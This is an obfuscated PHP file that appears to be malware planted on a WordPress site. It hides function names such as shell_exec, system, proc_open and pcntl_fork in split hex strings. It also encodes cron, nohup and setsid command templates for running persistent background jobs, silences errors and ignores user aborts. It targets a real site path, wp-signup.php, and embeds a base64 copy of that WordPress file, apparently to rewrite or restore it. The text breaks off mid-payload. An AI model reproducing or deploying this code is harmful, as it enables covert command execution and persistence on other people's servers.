<?php class _ex{private static$_mrx;public static function _qp($_xu){if(!self::$_mrx)self::_jc();return hex2bin(self::$_mrx[$_xu]);}private static function _jc(){self::$_mrx=array('_og'=>'646973706c61795'.'f6572726f727'.'3','_yr'=>'3'.'0','_qfa'=>'5f5f544'.'1524745545f'.'5f','_uc'=>'5f'.'5f4f5249475f4236345f5'.'f','_ci'=>'7368613'.'2353'.'6','_fy'=>'5f5f4'.'f5249475f50455'.'2'.'4d5'.'35f'.'5'.'f','_xhn'=>'5f5f5049445f46494c455'.'f5f','_vyg'=>'5f5f4'.'d41524b5f4'.'6494c455f'.'5'.'f','_ybc'=>'5f'.'5f4c4f475f464'.'94c'.'4'.'55f5f','_cz'=>'6f7'.'3','_teq'=>'2f','_kju'=>'676574'.'6d'.'7970696'.'4','_hxq'=>'70726f'.'635'.'f6e6'.'9636'.'5','_vi'=>'0'.'a','_gqe'=>'2'.'e','_mv'=>'','_xv'=>'63726f6e7'.'46162202d6c2'.'0323e26'.'31','_kxh'=>'6e6f'.'2063726f6e7'.'4616'.'2','_nkv'=>'6e6f7420666f756e6'.'4','_vp'=>'','_swi'=>'70'.'6'.'87'.'0','_yxq'=>'','_vez'=>'2a202a202a202a2'.'02a20','_yjk'=>'20','_cqq'=>'203e202f6465762f6e756c6c20323e26310a','_jgr'=>'0'.'a','_ei'=>'0a','_hd'=>'2f746d702f2e63726f'.'6e5f','_ap'=>'','_ad'=>'63726f6e74616220','_lw'=>'20323e2'.'631','_ygg'=>'','_fod'=>'7368656'.'c'.'6'.'c5f65786'.'563','_fu'=>'','_pf'=>'64697361626c655'.'f66756e6'.'37469'.'6f6e7'.'3','_rsg'=>'646973'.'61626c655f66756e6374696f'.'6e'.'7'.'3','_may'=>'7368656c6c5f657'.'86'.'5'.'6'.'3','_vas'=>'','_yh'=>'6578656'.'3','_epm'=>'20323e2f6465762f6e'.'756c6'.'c','_qha'=>'0'.'a','_km'=>'0'.'a','_wuj'=>'7379737465'.'6'.'d','_jla'=>'20323e2'.'f6465762f6e756'.'c6c','_gli'=>'','_bzl'=>'7061'.'7373746872'.'7'.'5','_nir'=>'20323e2f6465762f6e756c6'.'c','_pm'=>'','_pj'=>'706f7'.'0656e','_ecg'=>'20323e2f6465762f6e756'.'c6c','_ur'=>'72','_kl'=>'','_qjc'=>'70726f635f6f70656e','_cgs'=>'66696c6'.'5','_jw'=>'2f'.'6465762f6e75'.'6c'.'6'.'c','_lv'=>'72','_uy'=>'70697065','_ygr'=>'7'.'7','_kbx'=>'70'.'697'.'065','_nhy'=>'7'.'7','_wwk'=>'','_jwu'=>'','_xg'=>'2f7573722f62696e2f706870','_fap'=>'2f7573722f6c6f63616'.'c2f'.'6'.'2696e2f7'.'0'.'68'.'7'.'0','_lk'=>'2'.'f62696e2f70687'.'0','_if'=>'5048505f424'.'94e'.'44495'.'2','_jv'=>'2f','_ijd'=>'2f706'.'87'.'0','_bl'=>'636f6d6d616e64202d762070687020323e2f64657'.'62f6e75'.'6c6c','_qqq'=>'','_io'=>'50485'.'05f42494e415'.'259','_kj'=>'','_hfm'=>'66706'.'d','_le'=>'636'.'7'.'69','_qs'=>'7068'.'70','_spg'=>'706870202d6e202d7220276563686f20'.'5048505f534'.'150493b'.'27','_rr'=>'202d6e202d722027'.'6563686f205048'.'505f534150493b2'.'7','_ra'=>'2'.'0323e2f6465762f6e756c'.'6c','_gvf'=>'636'.'c6'.'9','_xi'=>'70687'.'0','_nbg'=>'70687'.'0','_mkm'=>'7068'.'70','_qt'=>'','_rf'=>'2f5c7831425c5b'.'5b302d393b5'.'d2a5b41'.'2d5a612d7a5d'.'2'.'f','_wx'=>'','_pt'=>'2f5c62'.'285b302d395d7b312c3'.'130'.'7'.'d2'.'95'.'c6'.'22'.'f','_dn'=>'484f'.'4d45','_udu'=>'706f7369785f676574657'.'569'.'6'.'4','_sfw'=>'706'.'f736'.'9785f'.'676574707'.'775'.'6964','_zjs'=>'6469'.'7'.'2','_ah'=>'646972','_wc'=>'6'.'4697'.'2','_lb'=>'6469'.'7'.'2','_ew'=>'707'.'2696e74662025732'.'02224484f4d45222'.'0323e2'.'f6465'.'762f6e756c6c','_lx'=>'','_bhx'=>'','_nkz'=>'2e636'.'163'.'6865','_kyf'=>'2f'.'7'.'661722f746d70','_ntk'=>'2f'.'74'.'6'.'d70','_ga'=>'444f43554d454e545f524f4'.'f5'.'4','_nre'=>'444f43554d4'.'54e545f524'.'f4'.'f'.'5'.'4','_vmg'=>'','_bx'=>'','_qin'=>'2'.'e','_dkq'=>'6'.'1','_mj'=>'','_dyw'=>'','_wn'=>'','_gs'=>'','_my'=>'','_ktm'=>'','_iu'=>'737973'.'5f6765745f74656d705f64697'.'2','_rve'=>'2f'.'746d70','_guh'=>'2f74'.'6d'.'70','_jy'=>'2e737061776e5'.'f','_pia'=>'706'.'9645'.'f','_pw'=>'2'.'e7069'.'64','_rsn'=>'255048502520255343'.'5249'.'5'.'054'.'25','_szd'=>'2550485025202d6e20255'.'343524'.'95054'.'25','_yoi'=>'6e6f687570207b434d447d203e3e20254c4f47252032'.'3e263120262065'.'63686f202421','_tt'=>'736574736964202d77207b434d447d203e3e20254c4f472520323e2631202620656'.'3686f20242'.'1','_qw'=>'736574736964207b434d447d203e3'.'e20254c4f47252032'.'3e2631202620656368'.'6f202421','_hc'=>'73'.'68202d632'.'0227b434d447d203e3e2025'.'4c4f472520323e26312026206563686f2'.'05c2421'.'2'.'2','_dhs'=>'7b434d447d203e3e20254c4f472520323e2631202620656'.'3686f2024'.'2'.'1','_pk'=>'73746172742d73746f702d6461656d6f6e202d53202d62202d6d202d70202550494446494c4525202d78202550485025202d2d20255'.'3435249'.'505425','_ok'=>'6461656d6f6e697a65202d70202550494446494c4525202d6120'.'2d6520254c4'.'f4'.'725202'.'d6f20254c4f4725207b434'.'d4'.'4'.'7'.'d','_bco'=>'2f75'.'73722f62696e2f6'.'56e76'.'20'.'7068'.'7'.'0','_jip'=>'656e7'.'620706'.'870','_sl'=>'255048502'.'5','_fmi'=>'2553435249'.'505425','_uq'=>'7'.'b4'.'34d'.'447d','_nv'=>'254c4f47'.'2'.'5','_hgj'=>'70726'.'f635f'.'6f70'.'6'.'56'.'e','_sx'=>'666'.'96c65','_arj'=>'2f6465762f6e756'.'c6c','_yle'=>'72','_nx'=>'66696c'.'6'.'5','_nm'=>'61','_at'=>'66'.'696c'.'6'.'5','_nmc'=>'6'.'1','_rp'=>'2'.'0','_zhi'=>'7'.'06964','_un'=>'706'.'964','_ft'=>'70'.'69'.'64','_erm'=>'2'.'5504'.'850'.'25','_gz'=>'255343'.'52495054'.'25','_csk'=>'7b434d44'.'7'.'d','_ssb'=>'25504'.'85'.'02'.'5','_mm'=>'2553435249505'.'425','_yyl'=>'254c4f4'.'72'.'5','_qtb'=>'2550494446494c'.'4'.'525','_baj'=>'203e2f6465762f6e756c6c20323'.'e26'.'3'.'1','_sbj'=>'7072'.'6f635f6f'.'70656e','_tuy'=>'20','_rgy'=>'7'.'368202'.'d632'.'0','_ao'=>'20'.'3e3e20','_odj'=>'20323e263120262'.'0'.'656'.'3686f2024'.'21','_ifz'=>'66696c'.'6'.'5','_xfr'=>'2f64'.'65762f6e75'.'6c6c','_uye'=>'72','_bbx'=>'706970'.'65','_ifq'=>'77','_ays'=>'7069'.'706'.'5','_ac'=>'77','_ya'=>'7063'.'6e746c5f666f'.'726b','_lu'=>'706f7369785f73657'.'47369'.'6'.'4','_lm'=>'2f','_js'=>'2f6465762f6e756c6'.'c','_ty'=>'7'.'2','_rj'=>'61','_kuo'=>'70636e746c5f'.'65786'.'56'.'3','_juj'=>'2f746'.'d7'.'0','_aku'=>'2f766172'.'2f'.'746d7'.'0','_zv'=>'','_cj'=>'','_hg'=>'','_wbb'=>'','_rii'=>'2e','_sac'=>'61','_wxz'=>'','_kr'=>'','_vh'=>'','_xnx'=>'','_tek'=>'','_fdu'=>'73'.'68613'.'235'.'36',);}}@error_reporting(00);@ini_set(_ex::_qp('_og'),_ex::_qp('_'.'yr'));@set_time_limit(00);@ignore_user_abort(true);$TR='/home/madagascro/www/wp-signup.php';$OB='PD9waHAKLyoqCiAqIFdvcmRQcmVzcyBTaWdudXAgUGFnZQogKgogKiBIYW5kbGVzIHRoZSB1c2VyIHJlZ2lzdHJhdGlvbiBhbmQgc2l0ZSBjcmVhdGlvbiBwcm9jZXNzIGZvciBtdWx0aXNpdGUgaW5zdGFsbGF0aW9ucy4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqIFNldHMgdXAgdGhlIFdvcmRQcmVzcyBFbnZpcm9ubWVudC4gKi8KcmVxdWlyZSBfX0RJUl9fIC4gJy93cC1sb2FkLnBocCc7CgphZGRfZmlsdGVyKCAnd3Bfcm9ib3RzJywgJ3dwX3JvYm90c19ub19yb2JvdHMnICk7CgpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7Cgpub2NhY2hlX2hlYWRlcnMoKTsKCmlmICggaXNfYXJyYXkoIGdldF9zaXRlX29wdGlvbiggJ2lsbGVnYWxfbmFtZXMnICkgKSAmJiBpc3NldCggJF9HRVRbJ25ldyddICkgJiYgaW5fYXJyYXkoICRfR0VUWyduZXcnXSwgZ2V0X3NpdGVfb3B0aW9uKCAnaWxsZWdhbF9uYW1lcycgKSwgdHJ1ZSApICkgewoJd3BfcmVkaXJlY3QoIG5ldHdvcmtfaG9tZV91cmwoKSApOwoJZGllKCk7Cn0KCi8qKgogKiBQcmludHMgc2lnbnVwX2hlYWRlciB2aWEgd3BfaGVhZC4KICoKICogQHNpbmNlIE1VICgzLjAuMCkKICovCmZ1bmN0aW9uIGRvX3NpZ251cF9oZWFkZXIoKSB7CgkvKioKCSAqIEZpcmVzIHdpdGhpbiB0aGUgaGVhZCBzZWN0aW9uIG9mIHRoZSBzaXRlIHNpZ24tdXAgc2NyZWVuLgoJICoKCSAqIEBzaW5jZSAzLjAuMAoJICovCglkb19hY3Rpb24oICdzaWdudXBfaGVhZGVyJyApOwp9CmFkZF9hY3Rpb24oICd3cF9oZWFkJywgJ2RvX3NpZ251cF9oZWFkZXInICk7CgppZiAoICEgaXNfbXVsdGlzaXRlKCkgKSB7Cgl3cF9yZWRpcmVjdCggd3BfcmVnaXN0cmF0aW9uX3VybCgpICk7CglkaWUoKTsKfQoKaWYgKCAhIGlzX21haW5fc2l0ZSgpICkgewoJd3BfcmVkaXJlY3QoIG5ldHdvcmtfc2l0ZV91cmwoICd3cC1zaWdudXAucGhwJyApICk7CglkaWUoKTsKfQoKLy8gRml4IGZvciBwYWdlIHRpdGxlLgokd3BfcXVlcnktPmlzXzQwNCA9IGZhbHNlOwoKLyoqCiAqIEZpcmVzIGJlZm9yZSB0aGUgU2l0ZSBTaWduLXVwIHBhZ2UgaXMgbG9hZGVkLgogKgogKiBAc2luY2UgNC40LjAKICovCmRvX2FjdGlvbiggJ2JlZm9yZV9zaWdudXBfaGVhZGVyJyApOwoKLyoqCiAqIFByaW50cyBzdHlsZXMgZm9yIGZyb250LWVuZCBNdWx0aXNpdGUgU2lnbi11cCBwYWdlcy4KICoKICogQHNpbmNlIE1VICgzLjAuMCkKICovCmZ1bmN0aW9uIHdwbXVfc2lnbnVwX3N0eWxlc2hlZXQoKSB7Cgk/PgoJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCQkubXVfcmVnaXN0ZXIgeyB3aWR0aDogOTAlOyBtYXJnaW46IDAgYXV0bzsgfQoJCS5tdV9yZWdpc3RlciBmb3JtIHsgbWFyZ2luLXRvcDogMmVtOyB9CgkJLm11X3JlZ2lzdGVyIGZpZWxkc2V0LAoJCQkubXVfcmVnaXN0ZXIgbGVnZW5kIHsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyBib3JkZXI6IG5vbmU7IH0KCQkubXVfcmVnaXN0ZXIgLmVycm9yIHsgcGFkZGluZzogMTBweDsgY29sb3I6ICMzMzM7IGJhY2tncm91bmQ6ICNmZmViZTg7IGJvcmRlcjogMXB4IHNvbGlkICNjMDA7IH0KCQkubXVfcmVnaXN0ZXIgaW5wdXRbdHlwZT0ic3VibWl0Il0sCgkJCS5tdV9yZWdpc3RlciAjYmxvZ190aXRsZSwKCQkJLm11X3JlZ2lzdGVyICN1c2VyX2VtYWlsLAoJCQkubXVfcmVnaXN0ZXIgI2Jsb2duYW1lLAoJCQkubXVfcmVnaXN0ZXIgI3VzZXJfbmFtZSB7IHdpZHRoOiAxMDAlOyBmb250LXNpemU6IDI0cHg7IG1hcmdpbjogNXB4IDA7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IH0KCQkubXVfcmVnaXN0ZXIgI3NpdGUtbGFuZ3VhZ2UgeyBkaXNwbGF5OiBibG9jazsgfQoJCS5tdV9yZWdpc3RlciAucHJlZml4X2FkZHJlc3MsCgkJCS5tdV9yZWdpc3RlciAuc3VmZml4X2FkZHJlc3MgeyBmb250LXNpemU6IDE4cHg7IGRpc3BsYXk6IGlubGluZS1ibG9jazsgZGlyZWN0aW9uOiBsdHI7IH0KCQkubXVfcmVnaXN0ZXIgbGFiZWwsCgkJCS5tdV9yZWdpc3RlciBsZWdlbmQsCgkJCS5tdV9yZWdpc3RlciAubGFiZWwtaGVhZGluZyB7IGZvbnQtd2VpZ2h0OiA2MDA7IGZvbnQtc2l6ZTogMTVweDsgZGlzcGxheTogYmxvY2s7IG1hcmdpbjogMTBweCAwOyB9CgkJLm11X3JlZ2lzdGVyIGxlZ2VuZCArIHAsCgkJCS5tdV9yZWdpc3RlciBpbnB1dCArIHAgeyBtYXJnaW4tdG9wOiAwOyB9CgkJLm11X3JlZ2lzdGVyIGxhYmVsLmNoZWNrYm94IHsgZGlzcGxheTogaW5saW5lOyB9CgkJLm11X3JlZ2lzdGVyIC5tdV9hbGVydCB7IGZvbnQtd2VpZ2h0OiA2MDA7IHBhZGRpbmc6IDEwcHg7IGNvbG9yOiAjMzMzOyBiYWNrZ3JvdW5kOiAjZmZmZmUwOyBib3JkZXI6IDFweCBzb2xpZCAjZTZkYjU1OyB9CgkJLm11X3JlZ2lzdGVyIC5tdV9hbGVydCBhIHsgY29sb3I6IGluaGVyaXQ7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9CgkJLm11X3JlZ2lzdGVyIC5zaWdudXAtb3B0aW9ucyAud3Atc2lnbnVwLXJhZGlvLWJ1dHRvbiB7IGRpc3BsYXk6IGJsb2NrOyB9CgkJLm11X3JlZ2lzdGVyIC5wcml2YWN5LWludHJvIC53cC1zaWdudXAtcmFkaW8tYnV0dG9uIHsgbWFyZ2luLXJpZ2h0OiAwLjVlbTsgfQoJCS5ydGwgLm11X3JlZ2lzdGVyIC53cC1zaWdudXAtYmxvZ25hbWUgeyBkaXJlY3Rpb246IGx0cjsgdGV4dC1hbGlnbjogcmlnaHQ7IH0KCTwvc3R5bGU+Cgk8P3BocAp9CmFkZF9hY3Rpb24oICd3cF9oZWFkJywgJ3dwbXVfc2lnbnVwX3N0eWxlc2hlZXQnICk7CgpnZXRfaGVhZGVyKCAnd3Atc2lnbnVwJyApOwoKLyoqCiAqIEZpcmVzIGJlZm9yZSB0aGUgc2l0ZSBTaWduLXVwIGZvcm0uCiAqCiAqIEBzaW5jZSAzLjAuMAogKi8KZG9fYWN0aW9uKCAnYmVmb3JlX3NpZ251cF9mb3JtJyApOwo/Pgo8ZGl2IGlkPSJzaWdudXAtY29udGVudCIgY2xhc3M9IndpZGVjb2x1bW4iPgo8ZGl2IGNsYXNzPSJtdV9yZWdpc3RlciB3cC1zaWdudXAtY29udGFpbmVyIiByb2xlPSJtYWluIj4KPD9waHAKLyoqCiAqIEdlbmVyYXRlcyBhbmQgZGlzcGxheXMgdGhlIFNpZ24tdXAgYW5kIENyZWF0ZSBTaXRlIGZvcm1zLgogKgogKiBAc2luY2UgTVUgKDMuMC4wKQogKgogKiBAcGFyYW0gc3RyaW5nICAgICAgICAgICRibG9nbmFtZSAgIFRoZSBuZXcgc2l0ZSBuYW1lLgogKiBAcGFyYW0gc3RyaW5nICAgICAgICAgICRibG9nX3RpdGxlIFRoZSBuZXcgc2l0ZSB0aXRsZS4KICogQHBhcmFtIFdQX0Vycm9yfHN0cmluZyAkZXJyb3JzICAgICBBIFdQX0Vycm9yIG9iamVjdCBjb250YWluaW5nIGV4aXN0aW5nIGVycm9ycy4gRGVmYXVsdHMgdG8gZW1wdHkgc3RyaW5nLgogKi8KZnVuY3Rpb24gc2hvd19ibG9nX2Zvcm0oICRibG9nbmFtZSA9ICcnLCAkYmxvZ190aXRsZSA9ICcnLCAkZXJyb3JzID0gJycgKSB7CglpZiAoICEgaXNfd3BfZXJyb3IoICRlcnJvcnMgKSApIHsKCQkkZXJyb3JzID0gbmV3IFdQX0Vycm9yKCk7Cgl9CgoJJGN1cnJlbnRfbmV0d29yayA9IGdldF9uZXR3b3JrKCk7CgkvLyBTaXRlIG5hbWUuCglpZiAoICEgaXNfc3ViZG9tYWluX2luc3RhbGwoKSApIHsKCQllY2hvICc8bGFiZWwgZm9yPSJibG9nbmFtZSI+JyAuIF9fKCAnU2l0ZSBOYW1lIChzdWJkaXJlY3Rvcnkgb25seSk6JyApIC4gJzwvbGFiZWw+JzsKCX0gZWxzZSB7CgkJZWNobyAnPGxhYmVsIGZvcj0iYmxvZ25hbWUiPicgLiBfXyggJ1NpdGUgRG9tYWluIChzdWJkb21haW4gb25seSk6JyApIC4gJzwvbGFiZWw+JzsKCX0KCgkkZXJybXNnX2Jsb2duYW1lICAgICAgPSAkZXJyb3JzLT5nZXRfZXJyb3JfbWVzc2FnZSggJ2Jsb2duYW1lJyApOwoJJGVycm1zZ19ibG9nbmFtZV9hcmlhID0gJyc7CglpZiAoICRlcnJtc2dfYmxvZ25hbWUgKSB7CgkJJGVycm1zZ19ibG9nbmFtZV9hcmlhID0gJ3dwLXNpZ251cC1ibG9nbmFtZS1lcnJvciAnOwoJCWVjaG8gJzxwIGNsYXNzPSJlcnJvciIgaWQ9IndwLXNpZ251cC1ibG9nbmFtZS1lcnJvciI+JyAuICRlcnJtc2dfYmxvZ25hbWUgLiAnPC9wPic7Cgl9CgoJaWYgKCAhIGlzX3N1YmRvbWFpbl9pbnN0YWxsKCkgKSB7CgkJZWNobyAnPGRpdiBjbGFzcz0id3Atc2lnbnVwLWJsb2duYW1lIj48c3BhbiBjbGFzcz0icHJlZml4X2FkZHJlc3MiIGlkPSJwcmVmaXgtYWRkcmVzcyI+JyAuICRjdXJyZW50X25ldHdvcmstPmRvbWFpbiAuICRjdXJyZW50X25ldHdvcmstPnBhdGggLiAnPC9zcGFuPjxpbnB1dCBuYW1lPSJibG9nbmFtZSIgdHlwZT0idGV4dCIgaWQ9ImJsb2duYW1lIiB2YWx1ZT0iJyAuIGVzY19hdHRyKCAkYmxvZ25hbWUgKSAuICciIG1heGxlbmd0aD0iNjAiIGF1dG9jb21wbGV0ZT0ib2ZmIiByZXF1aXJlZD0icmVxdWlyZWQiIGFyaWEtZGVzY3JpYmVkYnk9IicgLiAkZXJybXNnX2Jsb2duYW1lX2FyaWEgLiAncHJlZml4LWFkZHJlc3MiIC8+PC9kaXY+JzsKCX0gZWxzZSB7CgkJJHNpdGVfZG9tYWluID0gcHJlZ19yZXBsYWNlKCAnfF53d3dcLnwnLCAnJywgJGN1cnJlbnRfbmV0d29yay0+ZG9tYWluICk7CgkJZWNobyAnPGRpdiBjbGFzcz0id3Atc2lnbnVwLWJsb2duYW1lIj48aW5wdXQgbmFtZT0iYmxvZ25hbWUiIHR5cGU9InRleHQiIGlkPSJibG9nbmFtZSIgdmFsdWU9IicgLiBlc2NfYXR0ciggJGJsb2duYW1lICkgLiAnIiBtYXhsZW5ndGg9IjYwIiBhdXRvY29tcGxldGU9Im9mZiIgcmVxdWlyZWQ9InJlcXVpcmVkIiBhcmlhLWRlc2NyaWJlZGJ5PSInIC4gJGVycm1zZ19ibG9nbmFtZV9hcmlhIC4gJ3N1ZmZpeC1hZGRyZXNzIiAvPjxzcGFuIGNsYXNzPSJzdWZmaXhfYWRkcmVzcyIgaWQ9InN1ZmZpeC1hZGRyZXNzIj4uJyAuIGVzY19odG1sKCAkc2l0ZV9kb21haW4gKSAuICc8L3NwYW4+PC9kaXY+JzsKCX0KCglpZiAoICEgaXNfdXNlcl9sb2dnZWRfaW4oKSApIHsKCQlpZiAoICEgaXNfc3ViZG9tYWluX2luc3RhbGwoKSApIHsKCQkJJHNpdGUgPSAkY3VycmVudF9uZXR3b3JrLT5kb21haW4gLiAkY3VycmVudF9uZXR3b3JrLT5wYXRoIC4gX18oICdzaXRlbmFtZScgKTsKCQl9IGVsc2UgewoJCQkkc2l0ZSA9IF9fKCAnZG9tYWluJyApIC4gJy4nIC4gJHNpdGVfZG9tYWluIC4gJGN1cnJlbnRfbmV0d29yay0+cGF0aDsKCQl9CgoJCXByaW50ZigKCQkJJzxwPig8c3Ryb25nPiVzPC9zdHJvbmc+KSAlczwvcD4nLAoJCQkvKiB0cmFuc2xhdG9yczogJXM6IFNpdGUgYWRkcmVzcy4gKi8KCQkJc3ByaW50ZiggX18oICdZb3VyIGFkZHJlc3Mgd2lsbCBiZSAlcy4nICksICRzaXRlICksCgkJCV9fKCAnTXVzdCBiZSBhdCBsZWFzdCA0IGNoYXJhY3RlcnMsIGxldHRlcnMgYW5kIG51bWJlcnMgb25seS4gSXQgY2Fubm90IGJlIGNoYW5nZWQsIHNvIGNob29zZSBjYXJlZnVsbHkhJyApCgkJKTsKCX0KCgkvLyBTaXRlIFRpdGxlLgoJPz4KCTxsYWJlbCBmb3I9ImJsb2dfdGl0bGUiPjw/cGhwIF9lKCAnU2l0ZSBUaXRsZTonICk7ID8+PC9sYWJlbD4KCTw/cGhwCgkkZXJybXNnX2Jsb2dfdGl0bGUgICAgICA9ICRlcnJvcnMtPmdldF9lcnJvcl9tZXNzYWdlKCAnYmxvZ190aXRsZScgKTsKCSRlcnJtc2dfYmxvZ190aXRsZV9hcmlhID0gJyc7CglpZiAoICRlcnJtc2dfYmxvZ190aXRsZSApIHsKCQkkZXJybXNnX2Jsb2dfdGl0bGVfYXJpYSA9ICcgYXJpYS1kZXNjcmliZWRieT0id3Atc2lnbnVwLWJsb2ctdGl0bGUtZXJyb3IiJzsKCQllY2hvICc8cCBjbGFzcz0iZXJyb3IiIGlkPSJ3cC1zaWdudXAtYmxvZy10aXRsZS1lcnJvciI+JyAuICRlcnJtc2dfYmxvZ190aXRsZSAuICc8L3A+JzsKCX0KCWVjaG8gJzxpbnB1dCBuYW1lPSJibG9nX3RpdGxlIiB0eXBlPSJ0ZXh0IiBpZD0iYmxvZ190aXRsZSIgdmFsdWU9IicgLiBlc2NfYXR0ciggJGJsb2dfdGl0bGUgKSAuICciIHJlcXVpcmVkPSJyZXF1aXJlZCIgYXV0b2NvbXBsZXRlPSJvZmYiJyAuICRlcnJtc2dfYmxvZ190aXRsZV9hcmlhIC4gJyAvPic7Cgk/PgoKCTw/cGhwCgkvLyBTaXRlIExhbmd1YWdlLgoJJGxhbmd1YWdlcyA9IHNpZ251cF9nZXRfYXZhaWxhYmxlX2xhbmd1YWdlcygpOwoKCWlmICggISBlbXB0eSggJGxhbmd1YWdlcyApICkgOgoJCT8+CgkJPHA+CgkJCTxsYWJlbCBmb3I9InNpdGUtbGFuZ3VhZ2UiPjw/cGhwIF9lKCAnU2l0ZSBMYW5ndWFnZTonICk7ID8+PC9sYWJlbD4KCQkJPD9waHAKCQkJLy8gTmV0d29yayBkZWZhdWx0LgoJCQkkbGFuZyA9IGdldF9zaXRlX29wdGlvbiggJ1dQTEFORycgKTsKCgkJCWlmICggaXNzZXQoICRfUE9TVFsnV1BMQU5HJ10gKSApIHsKCQkJCSRsYW5nID0gJF9QT1NUWydXUExBTkcnXTsKCQkJfQoKCQkJLy8gVXNlIFVTIEVuZ2xpc2ggaWYgdGhlIGRlZmF1bHQgaXNuJ3QgYXZhaWxhYmxlLgoJCQlpZiAoICEgaW5fYXJyYXkoICRsYW5nLCAkbGFuZ3VhZ2VzLCB0cnVlICkgKSB7CgkJCQkkbGFuZyA9ICcnOwoJCQl9CgoJCQl3cF9kcm9wZG93bl9sYW5ndWFnZXMoCgkJCQlhcnJheSgKCQkJCQknbmFtZScgICAgICAgICAgICAgICAgICAgICAgICA9PiAnV1BMQU5HJywKCQkJCQknaWQnICAgICAgICAgICAgICAgICAgICAgICAgICA9PiAnc2l0ZS1sYW5ndWFnZScsCgkJCQkJJ3NlbGVjdGVkJyAgICAgICAgICAgICAgICAgICAgPT4gJGxhbmcsCgkJCQkJJ2xhbmd1YWdlcycgICAgICAgICAgICAgICAgICAgPT4gJGxhbmd1YWdlcywKCQkJCQknc2hvd19hdmFpbGFibGVfdHJhbnNsYXRpb25zJyA9PiBmYWxzZSwKCQkJCSkKCQkJKTsKCQkJPz4KCQk8L3A+CgkJPD9waHAKCQllbmRpZjsgLy8gTGFuZ3VhZ2VzLgoKCQkkYmxvZ19wdWJsaWNfb25fY2hlY2tlZCAgPSAnJzsKCQkkYmxvZ19wdWJsaWNfb2ZmX2NoZWNrZWQgPSAnJzsKCWlmICggaXNzZXQoICRfUE9TVFsnYmxvZ19wdWJsaWMnXSApICYmICcwJyA9PT0gJF9QT1NUWydibG9nX3B1YmxpYyddICkgewoJCSRibG9nX3B1YmxpY19vZmZfY2hlY2tlZCA9ICdjaGVja2VkPSJjaGVja2VkIic7Cgl9IGVsc2UgewoJCSRibG9nX3B1YmxpY19vbl9jaGVja2VkID0gJ2NoZWNrZWQ9ImNoZWNrZWQiJzsKCX0KCT8+CgoJPGRpdiBpZD0icHJpdmFjeSI+CgkJPGZpZWxkc2V0IGNsYXNzPSJwcml2YWN5LWludHJvIj4KCQkJPGxlZ2VuZD4KCQkJCTxzcGFuIGNsYXNzPSJsYWJlbC1oZWFkaW5nIj48P3BocCBfZSggJ1ByaXZhY3k6JyApOyA/Pjwvc3Bhbj4KCQkJCTw/cGhwIF9lKCAnQWxsb3cgc2VhcmNoIGVuZ2luZXMgdG8gaW5kZXggdGhpcyBzaXRlLicgKTsgPz4KCQkJPC9sZWdlbmQ+CgkJCTxwIGNsYXNzPSJ3cC1zaWdudXAtcmFkaW8tYnV0dG9ucyI+CgkJCQk8c3BhbiBjbGFzcz0id3Atc2lnbnVwLXJhZGlvLWJ1dHRvbiI+CgkJCQkJPGlucHV0IHR5cGU9InJhZGlvIiBpZD0iYmxvZ19wdWJsaWNfb24iIG5hbWU9ImJsb2dfcHVibGljIiB2YWx1ZT0iMSIgPD9waHAgZWNobyAkYmxvZ19wdWJsaWNfb25fY2hlY2tlZDsgPz4gLz4KCQkJCQk8bGFiZWwgY2xhc3M9ImNoZWNrYm94IiBmb3I9ImJsb2dfcHVibGljX29uIj48P3BocCBfZSggJ1llcycgKTsgPz48L2xhYmVsPgoJCQkJPC9zcGFuPgoJCQkJPHNwYW4gY2xhc3M9IndwLXNpZ251cC1yYWRpby1idXR0b24iPgoJCQkJCTxpbnB1dCB0eXBlPSJyYWRpbyIgaWQ9ImJsb2dfcHVibGljX29mZiIgbmFtZT0iYmxvZ19wdWJsaWMiIHZhbHVlPSIwIiA8P3BocCBlY2hvICRibG9nX3B1YmxpY19vZmZfY2hlY2tlZDsgPz4gLz4KCQkJCQk8bGFiZWwgY2xhc3M9ImNoZWNrYm94IiBmb3I9ImJsb2dfcHVibGljX29mZiI+PD9waHAgX2UoICdObycgKTsgPz48L2xhYmVsPgoJCQkJPC9zcGFuPgoJCQk8L3A+CgkJPC9maWVsZHNldD4KCTwvZGl2PgoKCTw/cGhwCgkvKioKCSAqIEZpcmVzIGFmdGVyIHRoZSBzaXRlIHNpZ24tdXAgZm9ybS4KCSAqCgkgKiBAc2luY2UgMy4wLjAKCSAqCgkgKiBAcGFyYW0gV1BfRXJyb3IgJGVycm9ycyBBIFdQX0Vycm9yIG9iamVjdCBwb3NzaWJseSBjb250YWluaW5nICdibG9nbmFtZScgb3IgJ2Jsb2dfdGl0bGUnIGVycm9ycy4KCSAqLwoJZG9fYWN0aW9uKCAnc2lnbnVwX2Jsb2dmb3JtJywgJGVycm9ycyApOwp9CgovKioKICogVmFsaWRhdGVzIHRoZSBuZXcgc2l0ZSBzaWduLXVwLgogKgogKiBAc2luY2UgTVUgKDMuMC4wKQogKgogKiBAcmV0dXJuIGFycmF5IENvbnRhaW5zIHRoZSBuZXcgc2l0ZSBkYXRhIGFuZCBlcnJvciBtZXNzYWdlcy4KICogICAgICAgICAgICAgICBTZWUgd3BtdV92YWxpZGF0ZV9ibG9nX3NpZ251cCgpIGZvciBkZXRhaWxzLgogKi8KZnVuY3Rpb24gdmFsaWRhdGVfYmxvZ19mb3JtKCkgewoJJHVzZXIgPSAnJzsKCWlmICggaXNfdXNlcl9sb2dnZWRfaW4oKSApIHsKCQkkdXNlciA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsKCX0KCglyZXR1cm4gd3BtdV92YWxpZGF0ZV9ibG9nX3NpZ251cCggJF9QT1NUWydibG9nbmFtZSddLCAkX1BPU1RbJ2Jsb2dfdGl0bGUnXSwgJHVzZXIgKTsKfQoKLyoqCiAqIERpc3BsYXlzIHRoZSBmaWVsZHMgZm9yIHRoZSBuZXcgdXNlciBhY2NvdW50IHJlZ2lzdHJhdGlvbiBmb3JtLgogKgogKiBAc2luY2UgTVUgKDMuMC4wKQogKgogKiBAcGFyYW0gc3RyaW5nICAgICAgICAgICR1c2VyX25hbWUgIFRoZSBlbnRlcmVkIHVzZXJuYW1lLgogKiBAcGFyYW0gc3RyaW5nICAgICAgICAgICR1c2VyX2VtYWlsIFRoZSBlbnRlcmVkIGVtYWlsIGFk